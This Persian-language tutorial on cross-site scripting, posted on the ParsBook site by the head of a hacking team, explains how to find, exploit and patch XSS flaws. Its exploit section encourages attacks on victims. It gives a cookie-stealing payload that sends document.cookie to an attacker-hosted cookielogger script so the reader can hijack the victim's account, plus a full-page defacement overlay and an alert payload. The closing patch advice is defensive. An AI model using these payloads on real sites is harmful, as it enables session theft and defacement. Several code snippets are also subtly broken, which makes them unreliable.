ParsBook.Org

پارس بوک، بزرگترین کتابخانه الکترونیکی فارسی زبان

ParsBook.Org
The Best Persian Book library

آموزش حملات XSS/CSS

فهرست

1. مقدمه

2.پیدا کردن و اکسپلویت باگ

3.پچ کردن

1. مقدمه

با سلام ! من در این مقااله سعی میکنم برای شما اکثر روش ها و نکات مربوط به این سری حملات رو توضیح بدم!

Xss یا css چیست ؟ این حملات که به HTML INJECTING یا غالبا CROSS SITE SCRIPTING معروف هستند مخفف کلمات cross site scripting به معنای نوشتن کد در کنار صفحات اصلی سایت میباشند ! و چون مخفف آن CSS شده و غالبا با cascading style sheets اشتباه گرفته میشن به اون XSS گفته میشه تا این اشتباه صورت نگیره ! تا اینجا تاریخچه و دلایل رو گفتم! میریم سراغ بحث اصلیمون !

اغلب xss وقتی رخ میده که سایت به خوبی از نظر آدرس دهی بسته نشده و امکان تزریق یک سری کدهای html فراهم میشود ! xss در آدرس یک سایت یا باکس های یک سایت رخ میدهد مثل باکس سرچ یا ...

برای مثال به دو کد زیر در صفحه http://site/welcome.php یک سایت توجه کنید !

IN PHP :

```
<?
Echo "WELCOME , $http_get_vars['name']" "
?>
```

و

IN ASP

```
<%
Response.write("WELCOME , "+request.querystring("name")"")
%>
```

اگر به جای متغیر name هد رو بزاریم USER و به این صورت در بیاد
http://site/welcome.php?name=USER مرورگر پس از ترجمه و تفسیر اون یک چنین چیزی رو به ما میده !

WELCOME ; USER

اگه دقت بفرمایین ما میتونیم به وسیله این ضعف در برنامه نویسی کدهای خودمون رو تزریق کنیم ! حالا چطوری ؟ برین فصل دوم !

2 . پیدا کردن و اکسپلویت باگ

خوب ! یه جورایی شما یاد گرفتین که چطور باگ رو پیدا کنید ! اما روش دیگری برای پیدا کردن باگ که اغلب در قسمت سرچ سایت دیده میشه به این صورت هست ! برین قسمت سرچ سایت و کلمه ای رو به دلخواه تایپ کنید ! در انتها آدرس مثلا به چنین چیزی مبدل میشه !

http://site/search.php?word=HACKING در این آدرس ما دنبال کلمه ی هکینگ بودیم ! خوب اگه به چنین چیزی برخوردین احتمال بدین که این سایت باگ ایکس داره ! و کافیه که به وسیله روش های پایین اون رو اکسپلویت کنین !

مهمترین روش های اکسپلویت این باگ اینا هستن ! البته یه نکته یادم رفت بگم اونم اینه که در صفحات ASP قابلیتی برای از بین بردن این باگ هست که در قسمت پچ باگ میگم ! و نکته ی بعدی اینه که اگه سایت آسیب پذیری زیادی داشته باشه اونو میشه فول دیفیس هم کرد !

اکسپلویت باگ:

در اکسپلویت باگ ایکس اغلب ما کدهای جاوا یا HTML که مفسر اون همون مرورگره رو تزریق میکنیم و نمیشه کدهای PHP و از این دست رو تزریق کرد ! دلیلش هم اینه که وظیفه ترجمه این نوع کارها به عهده ی مفسر قرار گرفته رو سرور هست نه کلاینت !

میریم سر روش ها !

1. استفاده از ایکس برای کلاینت هکینگ !(روش دزدیدن کوکی)

در این روش ما با REDIRECT کردن صفحه به سمت کوکی گرابر خودمون کوکی طرف رو میدزدیم و اون رو روی مرورگر خودمون ست میکنیم و به راحتی یوزر طرف رو هک میکنیم ! ابزار های زیادی برای دزدیدن کوکی ساخته شدن که من یکیشو میزارم براتون در همین فایل !

خوب اما کد :

Windows.location = "address of cookielogger.php?c="+document.cookie

مثلا میشه چنین چیزی !

http://site/search.php?word=Windows.location = "HTTP://HOSTING/ cookielogger.php?c="+document.cookie

خوب اینو میدیم به قربانی بعدش تمومه کوکی اون سیو میشه داخل پوشه و ...

2. REDIRECTING :

این کد خاصی نمیخواد کافیه که بعد قسمت آسیب پذیر آدرس سایت رو که میخواین بره اونجا رو بدین !

3. نمایش یک آلرت !

<script>alert('your message');</script>

اگه این رو به آخر url آسیب پذیر بدین یک پیغام با این محتوا میاد !

YOUR MESSAGE

کدهای بسیاری که ملزم به دونستن زبان جاوا اسکریپت یا html میباشد !

ضمیمه :

یک سری برنامه نویس حرفه ای کدهایی با محتوای جاوا مینویسن که به وسیله اون میشه حتی سرور رو هم زد ! اغلب این کدها به صورت خصوصی میباشند ! اینو گفتم بدونین که با جاوا خیلی کارها میشه کرد ! پس این باگ رو دست کم نگیرین ! به جرات میشه گفت که برای هکرهای حرفه ای بهترین نوع آسیب پذیری آسیب پذیری ایکس هست !

اما میریم سراغ کد بسیار خطرناک برای دیفیس این صفحات ! این رو بدونین که این کد الان خصوصیه ولی چون من دوست دارم شماها یه چیزی یاد بگیرین میزارم براتون !

این هم کد :

```
<DIV id=Layer1 style="border:1px none #000000; Z-INDEX: 1; LEFT: 0; WIDTH:
1010; POSITION: absolute; TOP: 0; HEIGHT: 20000; BACKGROUND-COLOR: #000000;
layer-background-color: #000000">TYPE YOUR DEFACE PAGE HERE
```

در اینجا کافیه شما به جای TYPE YOUR DEFACE PAGE HERE صفحه دیفیستون که به صورتHTML هست رو بنویسین ! حالا اینو تزریق کنید و رفرش کنید ! میبینید که صفحه با دیفیس کد شما تغییر پیدا کرده !

ویک سری کدهای دیگر که پرایو هست !....

3 . پچ کردن باگ

قبل از اینکه وارد این بحث بشم این رو لازم دونستم که برای بار ..... بگم ! هیچ وقت گول دیگران رو نخورین و هر صفحه ای که بهتون دادن وا نکنین !

این قسمت رو برای مدیر های سایت میزارم و فرض میکنم که مقداری با زبان های برنامه نویسی وارد هستن !

1. هیچ وقت به کاربراتون اعتماد نکنین و METACHaRACTER هاتون رو فیلتر کنین !
2. دو نشانه ی < و > رو به ترتیب به اینها تبدیل کنین ! < و >
3. دو نشانه ی (و) را به ترتین به (و) تبدیل کنید
4. دو نشانه ی # و & را به &#35 و &#38 تبدیل کنید (دقت کنید اینها انسکریپت شده همینها هستن)
5. سورس خودتون رو با پیکر بندی مناسب از دید عموم مخفی کنید
6. تا جایی که ممکنه از اسکریپت ها و ENGINE های نوشته شده استفاده نکنید

7. دسترسی به پنل ادمین رو محدود به کوکی و پسورد نکنید و سعی کنید از چندین مرحله برای ورود به این پنل استفاده کنید

8. هر چند وقت یک بار سایت خود را با اسکنر آپدیت تست کنید یا از هکرهای حرفه ای بخواهید تا این کار را براتون انجام دهند اگر خودتون به هکینگ آشنایی دارین که هیچی ..

9. همیشه از پچ های ارائه شده توسط خدمت دهنده ی وب خود به روز استفاده کنید ! به همین دلیل پیشنهاد میدم از پورتالی استفاده کنید که خدمت دهندش در دسترس باشه !

10. دقت کنید که در زبان ASP به صورت پیشفرض این باگ شناخته و پچ میشه . باز با این حال هکر میتونه با کاراکتر (%00) NULL این سد امنیتی رو رد کنه پس به این سد اکتفا نکنید

11. در زبان PHP ورودی های خودتون رو با تابع ()htmlspecialchar کنترل کنید (یعنی اونهایی که از متد get استفاده میکنن رو محدود میکنین تا هر کدی رو نپذیرن)

در نهایت از تمامی شما عزیزان که وقت گذاشتین و این مقاله رو خوندین سپاس گذارم ! منتظر نظراتتون هستم آیدی من :PH_STWAR

با تشکر فراوان : هومن حیدریان مدیر تیم امنیتی پارس هکرز

ParsBook.Org

پارس بوک، بزرگترین کتابخانه الکترونیکی فارسی زبان

ParsBook.Org
The Best Persian Book library